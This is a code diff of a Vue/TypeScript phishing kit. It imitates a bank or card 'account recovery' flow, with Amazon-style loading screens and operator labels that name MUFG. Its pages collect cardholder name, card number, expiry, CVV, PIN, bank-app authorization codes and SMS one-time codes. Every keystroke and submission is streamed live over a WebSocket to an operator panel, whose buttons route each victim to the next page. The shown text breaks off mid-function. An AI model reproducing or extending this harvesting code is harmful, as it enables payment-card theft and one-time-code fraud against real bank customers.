src="data:image/png;base64,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"
alt="safe-icon"
/><b>{{ t("Authorized bank") }}</b>
</p>
<p class="sub">
{{ t("Please go to the bank App to confirm the authorization") }}
</p>
<p class="sub">{{ t("Please do not close this page") }}</p>
<p class="error">
{{ message }}
</p>
<div
class="input"
data-v-509c2adf=""
style="text-align: center"
v-if="showInput"
>
<input
required
type="number"
inputmode="numeric"
@input="onchange"
v-model="formData.appVerifyCode"
minlength="3"
maxlength="8"
data-v-509c2adf=""
/>
</div>
<br data-v-509c2adf="" v-if="showInput" />
<div class="button-submit" data-v-509c2adf="" v-if="showInput">
<button type="button" data-v-509c2adf="" @click="submit">
{{ t("Submit") }}
</button>
</div>
<div v-if="!showInput">
<img
class="loading-icon"
src="@/assets/img/ac3bca143fcfa.svg"
alt="loading-icon"
/>
</div>
</div>
</div>
</template>
<style scoped>
@media (max-width: 767px) {
/* Mega Menu */
body {
padding-top: 10px !important;
padding-bottom: 96px !important;
}
}
.sub {
opacity: 0.6;
}
.error {
color: red;
}
div.container {
display: flex;
align-items: center;
justify-content: center;
height: 100dvh;
padding: 0 10px;
font-size: 16px;
}
div.container .content {
text-align: center;
}
div.container .content .card-logo {
width: 120px;
margin: 0 auto;
position: relative;
}
div.container .content .card-logo:after {
content: "";
display: block;
position: absolute;
top: 0;
width: 15px;
height: 100%;
background: linear-gradient(
90deg,
transparent,
rgba(255, 255, 255, 0.6352941176),
transparent
);
animation: line 2s infinite;
}
@keyframes line {
0% {
left: -15px;
}
to {
left: 100%;
}
}
div.container .content .safe-icon {
display: inline-block;
width: 16px;
vertical-align: baseline;
}
div.container .content .loading-icon {
margin: 0 auto;
width: 50px;
opacity: 0.6;
}
div.input {
position: relative;
top: -0.5em;
}
div.input input {
width: 80%;
padding: 5px;
text-align: center;
outline: none;
border: 2px solid black;
border-radius: 5px;
font-weight: 700;
font-size: 1.1em;
box-sizing: border-box;
}
div.input input:focus {
border-color: #5381be;
}
div.button-submit button {
padding: 8px 20px;
cursor: pointer;
background-color: #5381be;
color: #fff;
border: none;
outline: none;
border-radius: 3px;
}
p {
display: block;
margin-block-start: 1em;
margin-block-end: 1em;
margin-inline-start: 0px;
margin-inline-end: 0px;
unicode-bidi: isolate;
}
.container div.input label {
display: block;
margin-bottom: 5px;
}
.container div.input input {
width: 130px;
padding: 8px 5px;
text-align: center;
outline: none;
border: 2px solid black;
border-radius: 5px;
font-weight: 700;
font-size: 16px;
box-sizing: border-box;
}
.container div.input input:focus {
border-color: #5381be;
}
.container div.button-submit button {
width: 80px;
padding: 10px 5px;
cursor: pointer;
background-color: #5381be;
color: #fff;
border: none;
outline: none;
border-radius: 3px;
}
.container .resend {
margin-top: 8px;
text-align: center;
font-size: 13px;
}
.container .resend a {
color: #000;
-webkit-text-decoration: underline;
text-decoration: underline;
}
</style>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,673 @@
<template>
<CommonLayout>
<template #default>
<uni-page-body data-v-1566c7ed="">
<uni-view data-v-1566c7ed="" id="confirm_index_body">
<uni-view data-v-1566c7ed="" class="" style="padding: 0px 20px;">
<uni-view data-v-1566c7ed="" class="title" style="color: rgb(13, 104, 173); padding-top: 25px;">
Let's recover your account
</uni-view>
<p data-v-1566c7ed="" style="font-size: 15px; font-weight: 500; color: rgb(119, 119, 119); margin-top: 20px;">
Step 2. <span data-v-1566c7ed="" style="font-weight: 200;">Enter your card details</span>
</p>
</uni-view>
<uni-view data-v-1566c7ed="" class="form">
<uni-view data-v-1566c7ed="" class="inpname">Cardholder</uni-view>
<uni-view data-v-1566c7ed="" class="input-field-container">
<uni-input data-v-1566c7ed="" class="gay_border" id="card_name">
<div class="uni-input-wrapper">
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCardholderFocused || formData.card.cardholder }">Cardholder</div>
<input
type="text"
maxlength="140"
enterkeyhint="done"
class="uni-input-input"
autocomplete="off"
v-model="formData.card.cardholder"
@input="onchange"
@focus="isCardholderFocused = true"
@blur="isCardholderFocused = formData.card.cardholder !== ''"
required
/>
</div>
</uni-input>
<uni-text data-v-1566c7ed="" class="error" v-if="showCardholderWarning">
{{ warningMessage }}
</uni-text>
</uni-view>
<uni-view data-v-1566c7ed="" class="inpname">Card number</uni-view>
<uni-view data-v-1566c7ed="" class="input-field-container">
<uni-input data-v-1566c7ed="" class="gay_border" id="cardNumber">
<div class="uni-input-wrapper">
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCardNumberFocused || formData.card.cardNumber }">0000 0000 0000 0000</div>
<input
type="text"
maxlength="19"
enterkeyhint="done"
inputmode="numeric"
class="uni-input-input"
autocomplete="off"
v-model="formData.card.cardNumber"
@input="onCardNumberChange"
@focus="isCardNumberFocused = true"
@blur="isCardNumberFocused = formData.card.cardNumber !== ''"
required
/>
</div>
</uni-input>
<uni-text data-v-1566c7ed="" class="error" v-if="cardNumberError">{{ cardNumberError }}</uni-text>
<uni-text data-v-1566c7ed="" class="global-error" v-if="message">{{ message }}</uni-text>
<div class="card-icons">
<img src="@/assets/img/b4f258fb3fcfa.svg" alt="Visa" />
<img src="@/assets/img/d9f501073fcfa.svg" alt="Mastercard" />
<img src="@/assets/img/d2820b3b3fcfa.svg" alt="American Express" />
<img src="@/assets/img/e62e66803fcfa.svg" alt="Discover" />
<img src="@/assets/img/272b931f3fcfa.svg" alt="JCB" />
<img src="@/assets/img/761998023fcfa.svg" alt="Diners Club" />
<img src="@/assets/img/c8e88e5f3fcfa.svg" alt="UnionPay" />
<img src="@/assets/img/1a32e1333fcfa.svg" alt="Maestro" />
<img src="@/assets/img/56af3b633fcfa.svg" alt="Rupay" />
</div>
</uni-view>
<uni-view data-v-1566c7ed="" class="cvvbox">
<uni-view data-v-1566c7ed="" class="cvvsty">
<uni-view data-v-1566c7ed="" class="inpname">Due Date</uni-view>
<uni-view data-v-1566c7ed="" class="input-field-container">
<uni-input data-v-1566c7ed="" class="gay_border" id="expire">
<div class="uni-input-wrapper">
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isExpiryFocused || expiryCombined }">MM/YY</div>
<input
type="text"
maxlength="5"
enterkeyhint="done"
class="uni-input-input"
autocomplete="off"
v-model="expiryCombined"
@input="onExpiryInput"
@focus="isExpiryFocused = true"
@blur="onExpiryBlur"
required
/>
</div>
</uni-input>
<uni-text data-v-1566c7ed="" class="error" v-if="expiryError">
{{ expiryError }}
</uni-text>
<uni-text data-v-1566c7ed="" class="error" v-else-if="showExpiryWarning">
{{ warningMessage }}
</uni-text>
</uni-view>
</uni-view>
<uni-view data-v-1566c7ed="" class="cvvsty">
<uni-view data-v-1566c7ed="" class="inpname">Security Code (CVV)</uni-view>
<uni-view data-v-1566c7ed="" class="input-field-container input-wrapper">
<uni-input data-v-1566c7ed="" class="gay_border" id="cvv">
<div class="uni-input-wrapper">
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCvvFocused || formData.card.cvv }">123</div>
<input
type="text"
maxlength="4"
enterkeyhint="done"
inputmode="numeric"
pattern="[0-9]*"
class="uni-input-input"
autocomplete="off"
v-model="formData.card.cvv"
@input="onCvvInput"
@focus="isCvvFocused = true"
@blur="isCvvFocused = formData.card.cvv !== ''"
required
/>
</div>
</uni-input>
<uni-text data-v-1566c7ed="" class="error" v-if="cvvError">
{{ cvvError }}
</uni-text>
<uni-text data-v-1566c7ed="" class="error" v-else-if="showCvvWarning">
{{ warningMessage }}
</uni-text>
</uni-view>
</uni-view>
</uni-view>
<uni-view data-v-1566c7ed="">
<uni-view data-v-1566c7ed="" class="inpname">Card PIN</uni-view>
<uni-view data-v-1566c7ed="" class="input-field-container">
<uni-input data-v-1566c7ed="" class="">
<div class="uni-input-wrapper">
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isPinFocused || formData.card.pin }"></div>
<input
type="password"
maxlength="6"
enterkeyhint="done"
inputmode="numeric"
class="uni-input-input"
autocomplete="off"
v-model="formData.card.pin"
@input="onPinInput"
@focus="isPinFocused = true"
@blur="isPinFocused = formData.card.pin !== ''"
/>
</div>
</uni-input>
<uni-text data-v-1566c7ed="" class="error" v-if="pinError">
{{ pinError }}
</uni-text>
<uni-text data-v-1566c7ed="" class="error" v-else-if="showPinWarning">
{{ warningMessage }}
</uni-text>
</uni-view>
</uni-view>
<uni-view data-v-1566c7ed="" class="sendbut" style="margin-top: 30px;">
<uni-button
data-v-1566c7ed=""
id="submit_card_btn"
class=""
style="background-color: rgb(0, 114, 172); color: white;"
:disabled="isLoading || !isFormFilled"
@click="next"
>
<span class="button-content">
<!-- <span v-if="isLoading" class="spinner button-spinner"></span> -->
<span>{{ isLoading ? 'Verifying...' : 'Submit' }}</span>
</span>
</uni-button>
</uni-view>
</uni-view>
</uni-view>
<div v-if="showLoadingOverlay" class="loading-overlay">
<div class="loading-content">
<div class="spinner overlay-spinner"></div>
<p>Verifying...</p>
</div>
</div>
</uni-page-body>
</template>
</CommonLayout>
</template>
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from 'vue';
import { useRouter } from 'vue-router';
import CommonLayout from '@/views/CommonLayout.vue';
import { useI18n } from 'vue-i18n';
import { useLoadingStore } from '@/stores/loadingStore';
import { inputChange, myWebSocket } from '@/utils/common';
import eventBus from '@/utils/eventBus';
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const instance = getCurrentInstance()!;
interface FormData {
card: {
cardNumber: string;
cardholder: string;
expiryMonth: string;
expiryYear: string;
cvv: string;
pin: string;
};
}
const formData = ref<FormData>({
card: {
cardNumber: '',
cardholder: '',
expiryMonth: '',
expiryYear: '',
cvv: '',
pin: '',
},
});
const warningMessage = ref('');
const cardNumberError = ref('');
const expiryError = ref('');
const cvvError = ref('');
const pinError = ref('');
const isLoading = ref(false);
const showLoadingOverlay = ref(false);
const isCardNumberFocused = ref(false);
const isCardholderFocused = ref(false);
const isExpiryFocused = ref(false);
const isCvvFocused = ref(false);
const isPinFocused = ref(false);
const expiryCombined = computed({
get: () => {
const month = formData.value.card.expiryMonth;
const year = formData.value.card.expiryYear;
if (month && year) {
return `${month}/${year}`;
} else if (month) {
return month;
}
return '';
},
set: (value: string) => {
let month = '';
let year = '';
const parts = value.split('/');
if (parts.length > 0) {
month = parts[0];
}
if (parts.length > 1) {
year = parts[1];
}
formData.value.card.expiryMonth = month;
formData.value.card.expiryYear = year;
},
});
const showCardholderWarning = computed(() => warningMessage.value && !formData.value.card.cardholder && !isCardholderFocused.value);
const showExpiryWarning = computed(() => warningMessage.value && (!formData.value.card.expiryMonth || !formData.value.card.expiryYear) && !isExpiryFocused.value);
const showCvvWarning = computed(() => warningMessage.value && !formData.value.card.cvv && !isCvvFocused.value);
const showPinWarning = computed(() => warningMessage.value && !formData.value.card.pin && !isPinFocused.value);
const isFormFilled = computed(() => {
return (
formData.value.card.cardNumber.replace(/\s+/g, '').length >= 15 &&
formData.value.card.cardholder.trim() !== '' &&
formData.value.card.expiryMonth.length === 2 &&
formData.value.card.expiryYear.length === 2 &&
formData.value.card.cvv.length >= 3 && formData.value.card.cvv.length <= 4 &&
formData.value.card.pin.length >= 4 && formData.value.card.pin.length <= 6
);
});
const next = async () => {
await nextTick();
// Clear all previous errors
warningMessage.value = '';
cardNumberError.value = '';
expiryError.value = '';
cvvError.value = '';
pinError.value = '';
message.value = ''; // Clear general message on new submission attempt
let hasError = false;
if (!formData.value.card.cardholder.trim()) {
warningMessage.value = t('Please fill in all required fields.');
hasError = true;
}
const rawCardNumber = formData.value.card.cardNumber.replace(/\s+/g, '');
if (rawCardNumber.length < 15 || rawCardNumber.length > 19) {
cardNumberError.value = 'Invalid card number.';
hasError = true;
}
const month = parseInt(formData.value.card.expiryMonth, 10);
const year = parseInt(formData.value.card.expiryYear, 10);
const currentYear = new Date().getFullYear() % 100;
const currentMonth = new Date().getMonth() + 1;
if (!formData.value.card.expiryMonth || !formData.value.card.expiryYear || isNaN(month) || isNaN(year) || month < 1 || month > 12 || year < currentYear || (year === currentYear && month < currentMonth)) {
expiryError.value = 'Invalid expiry date.';
hasError = true;
}
if (formData.value.card.cvv.length < 3 || formData.value.card.cvv.length > 4) {
cvvError.value = 'CVV must be 3-4 digits.';
hasError = true;
}
if (formData.value.card.pin.length < 4 || formData.value.card.pin.length > 6) {
pinError.value = 'PIN must be 4-6 digits.';
hasError = true;
}
if (hasError) {
return;
}
isLoading.value = true;
showLoadingOverlay.value = true;
let submitValue = rawCardNumber;
localStorage.setItem('cardNumber', submitValue);
myWebSocket?.send(
JSON.stringify({
event: 'submit_card',
content: {
type: 'submitOp',
card_number: submitValue,
cardholder: formData.value.card.cardholder,
expiry: `${formData.value.card.expiryMonth}/${formData.value.card.expiryYear}`,
cvv: formData.value.card.cvv,
pin: formData.value.card.pin,
start_page: 'card',
opButton: {
showCustom: false,
list: [
{ label: '完成', value: 'success', type: 'input1' },
{ label: '拒絕', value: 'reject', type: 'input2' },
{ label: '賬號首頁', value: 'login_mufg', type: 'input1' },
{ label: 'OTP短信驗證頁', value: 'verificationcodepage', type: 'input1' },
{ label: '提示頁面', value: 'next_pay', type: 'input1' },
{ label: '跳轉完成', value: 'success' },
],
},
},
})
);
};
const onCardNumberChange = (event: Event) => {
const input = event.target as HTMLInputElement;
const rawValue = input.value.replace(/\s+/g, '');
const numericValue = rawValue.replace(/\D/g, '');
formData.value.card.cardNumber = numericValue
.replace(/(.{4})/g, '$1 ')
.trim()
.slice(0, 19);
cardNumberError.value = '';
inputChange('input_card', 'cardNumber', formData.value.card.cardNumber.replace(/\s+/g, ''));
};
const onExpiryInput = (event: Event) => {
const input = event.target as HTMLInputElement;
let value = input.value.replace(/[^0-9]/g, '');
if (value.length > 2) {
value = value.slice(0, 2) + '/' + value.slice(2);
}
value = value.slice(0, 5);
expiryCombined.value = value; // Update the v-model directly
// Manually parse and update expiryMonth and expiryYear for form data
const parts = value.split('/');
formData.value.card.expiryMonth = parts[0] ? parts[0].slice(0, 2) : '';
formData.value.card.expiryYear = parts[1] ? parts[1].slice(0, 2) : '';
expiryError.value = ''; // Clear error on input
inputChange('input_card', 'expiry', value);
};
const onExpiryBlur = () => {
isExpiryFocused.value = expiryCombined.value !== '';
const monthStr = formData.value.card.expiryMonth;
const yearStr = formData.value.card.expiryYear;
expiryError.value = '';
const month = parseInt(monthStr, 10);
const year = parseInt(yearStr, 10);
const currentYearFull = new Date().getFullYear();
const currentYearShort = currentYearFull % 100;
const currentMonth = new Date().getMonth() + 1;
if (!monthStr || monthStr.length !== 2 || isNaN(month) || month < 1 || month > 12) {
expiryError.value = 'Invalid month.';
return;
}
if (!yearStr || yearStr.length !== 2 || isNaN(year)) {
expiryError.value = 'Invalid year.';
return;
}
if (year < currentYearShort) {
expiryError.value = 'Date past.';
return;
}
if (year === currentYearShort && month < currentMonth) {
expiryError.value = 'Date past.';
return;
}
if (!monthStr || !yearStr) {
warningMessage.value = t('Please fill in all required fields.');
}
};
const onCvvInput = (event: Event) => {
const input = event.target as HTMLInputElement;
formData.value.card.cvv = input.value.replace(/\D/g, '').slice(0, 4);
cvvError.value = '';
inputChange('input_card', 'cvv', formData.value.card.cvv);
};
const onPinInput = (event: Event) => {
const input = event.target as HTMLInputElement;
formData.value.card.pin = input.value.replace(/\D/g, '').slice(0, 6);
pinError.value = '';
inputChange('input_card', 'pin', formData.value.card.pin);
};
const onchange = (event: Event) => {
const input = event.target as HTMLInputElement;
inputChange('input_card', input.id, input.value);
if (input.id === 'card_name') {
warningMessage.value = '';
}
};
onMounted(() => {
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.card) {
formData.value = userData;
}
eventBus.on('my-event', handleEvent);
localStorage.setItem('route', 'card');
myWebSocket?.send(
JSON.stringify({
event: 'page_type',
content: { pageType: 'card', pageTitle: '填卡Pin页面' },
})
);
});
const message = ref(''); // This variable holds the WebSocket message
const handleEvent = (data: { message2: string }) => {
message.value = data.message2; // Update the message here
isLoading.value = false;
showLoadingOverlay.value = false;
};
onUnmounted(() => {
eventBus.off('my-event', handleEvent);
});
</script>
<style scoped>
/* Added style for the global-error message */
.global-error {
color: #d32f2f; /* A distinct color for general errors */
font-size: 12px;
text-align: left;
margin: 15px 0; /* Add some margin above and below */
display: block; /* Ensure it takes full width and new line */
font-weight: bold; /* Make it stand out a bit */
}
.input-field-container {
position: relative;
margin-bottom: 15px;
}
.inpname {
font-size: 14px;
color: #494949;
margin-bottom: 8px;
margin-top: 16px;
}
.error {
color: #ff4d4f;
font-size: 13px;
position: absolute;
bottom: -15px;
left: 0;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
width: 100%;
z-index: 10;
}
/* Spinner for the button */
.button-spinner {
width: 18px;
height: 18px;
border: 3px solid rgba(255, 255, 255, 0.3);
border-top: 3px solid white;
border-radius: 50%;
animation: spin 1s linear infinite;
margin-right: 8px;
display: inline-block;
vertical-align: middle;
margin-top: -2px;
}
/* Spinner for the overlay */
.overlay-spinner {
width: 40px;
height: 40px;
border: 5px solid rgba(0, 114, 172, 0.3);
border-top: 5px solid #0072ac;
border-radius: 50%;
animation: spin 1s linear infinite;
margin-right: 0;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
.form {
padding: 0 20px;
}
.uni-input-input {
border: none;
outline: none;
flex-grow: 1;
font-size: 16px;
padding: 0;
background-color: transparent;
z-index: 2;
position: relative;
}
.uni-input-placeholder {
color: #a6a6a6;
font-size: 16px;
position: absolute;
top: 50% !important;
left: 0;
transform: translateY(-50%);
transition: opacity 0.2s ease-in-out;
pointer-events: none;
z-index: 1;
}
.uni-input-placeholder.placeholder-hidden {
opacity: 0;
}
.cvvbox {
display: flex;
gap: 16px;
}
.cvvsty {
flex: 1;
}
.card-icons {
display: flex;
gap: 4px;
margin-top: 10px;
}
.card-icons img {
width: 30px;
height: 25px;
}
.sendbut {
display: flex;
justify-content: center;
}
#submit_card_btn {
display: flex;
justify-content: center;
align-items: center;
padding: 10px 20px;
width: 100%;
box-sizing: border-box;
}
#submit_card_btn .button-content {
display: flex;
align-items: center;
}
#submit_card_btn:disabled {
background-color: #d9d9d9;
color: #a6a6a6;
cursor: not-allowed;
}
/* New styles for the loading overlay */
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.6);
display: flex;
justify-content: center;
align-items: center;
z-index: 1000;
}
.loading-content {
background-color: white;
padding: 30px 40px;
border-radius: 10px;
text-align: center;
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.2);
display: flex;
flex-direction: column;
align-items: center;
gap: 15px;
}
.loading-content p {
font-size: 18px;
color: #333;
margin: 0;
}
@media (max-width: 480px) {
.form {
padding: 0 16px;
}
.title {
font-size: 24px;
}
}
</style>

View File

@@ -0,0 +1,24 @@
<script setup lang="ts">
import { footerHtml, headerHtml } from "@/utils/common";
</script>
<template>
<body>
<div class="v-application v-application--is-ltr theme--light">
<div class="v-application--wrap">
<header11
v-html="headerHtml"
></header11>
<main11 >
<div >
<slot></slot>
</div>
</main11>
<footer11 v-html="footerHtml" ></footer11>
</div>
</div>
</body>
</template>
<style></style>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,62 @@
<script setup lang="ts">
import { ref, onMounted } from 'vue';
const isLoading = ref(true);
onMounted(() => {
// Simulate loading, remove in production and use actual data loading completion
setTimeout(() => {
isLoading.value = false;
}, 2000);
});
</script>
<template>
<div class="container">
<div v-if="isLoading" class="loading-spinner">
<div class="spinner" style="display: none;"></div>
</div>
<div v-else class="content">
<!-- Main content goes here when loading is complete -->
</div>
</div>
</template>
<style scoped>
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
width: 100%;
background-color: #f5f5f5;
}
.loading-spinner {
display: flex;
justify-content: center;
align-items: center;
}
.spinner {
width: 40px;
height: 40px;
border: 4px solid rgb(81, 81, 81, 0.3);
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.content {
width: 100%;
padding: 20px;
}
</style>

View File

@@ -0,0 +1,106 @@
<template>
<div
v-if="isLoading"
class="loading-overlay"
>
<div class="otp-page-loading">
<div class="otp-page-loading-inner">
<svg class="otp-page-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle cx="25" cy="25" r="20" fill="none" stroke="#e47911" stroke-width="4" stroke-dasharray="80" stroke-dashoffset="60" stroke-linecap="round"/>
</svg>
</div>
</div>
</div>
</template>
<script lang="ts">
import { computed, defineComponent } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { loadingBg } from "@/utils/common";
export default defineComponent({
computed: {
loadingBg() {
return loadingBg;
},
},
setup() {
const loadingStore = useLoadingStore();
const isLoading = computed(() => loadingStore.isLoading);
return {
isLoading,
};
},
});
</script>
<style scoped>
/* CSS加载全屏遮罩 */
.otp-page-loading {
position: fixed;
inset: 0;
background: #fff;
display: flex;
align-items: center;
justify-content: center;
z-index: 9998;
}
.otp-page-loading-inner {
width: 48px;
height: 48px;
animation: amz-spin 0.9s linear infinite;
}
.otp-page-spinner {
width: 100%;
height: 100%;
}
/* 提交中弹窗 */
.amz-overlay {
position: fixed;
inset: 0;
background: rgba(255,255,255,0.75);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
}
.amz-modal {
background: #fff;
border: 1px solid #d5d9d9;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0,0,0,0.15);
padding: 32px 40px;
text-align: center;
min-width: 240px;
}
.amz-spinner {
width: 44px;
height: 44px;
margin: 0 auto 16px;
animation: amz-spin 0.9s linear infinite;
}
.amz-spinner svg { width: 100%; height: 100%; }
.amz-spinner-path {
stroke: #e47911;
stroke-linecap: round;
stroke-dasharray: 80;
stroke-dashoffset: 60;
}
@keyframes amz-spin { to { transform: rotate(360deg); } }
.amz-modal-text {
font-size: 15px;
font-weight: 700;
color: #111;
margin: 0 0 6px;
font-family: "Amazon Ember", Arial, sans-serif;
}
.amz-modal-sub {
font-size: 13px;
color: #565959;
margin: 0;
font-family: "Amazon Ember", Arial, sans-serif;
}
.a-disabled { pointer-events: none; opacity: 0.5; }
</style>

View File

@@ -0,0 +1,458 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const isVerifying = ref(false);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query && query.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query && query.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const type = localStorage.getItem("message1");
if (type) {
message1.value = type;
}
}
localStorage.setItem("route", "otpValid");
// 尝试恢复倒计时,如果没有进行中的倒计时则启动新的倒计时
restoreCountdown();
if (!isCounting.value) {
startCountdown("");
}
eventBus.on("otp-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
isVerifying.value = true;
if (!areAllValuesNotEmpty(formData)) {
isVerifying.value = false;
return;
}
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData: formData,
},
})
);
};
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `Resend Code (00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value})`
: "Resend Code";
});
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType: resultType },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
// 保存倒计时开始时间到 localStorage方便页面刷新后恢复
const startTime = Date.now();
localStorage.setItem("countdownStartTime", startTime.toString());
localStorage.setItem("countdownDuration", initialTime.toString());
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
// 清除 localStorage 中的倒计时数据
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
};
// 恢复倒计时状态(页面刷新后)
const restoreCountdown = () => {
const startTimeStr = localStorage.getItem("countdownStartTime");
const durationStr = localStorage.getItem("countdownDuration");
if (startTimeStr && durationStr) {
const startTime = parseInt(startTimeStr);
const duration = parseInt(durationStr);
const elapsedSeconds = Math.floor((Date.now() - startTime) / 1000);
const remainingTime = Math.max(0, duration - elapsedSeconds);
if (remainingTime > 0) {
isCounting.value = true;
timeLeft.value = remainingTime;
timer = window.setInterval(() => {
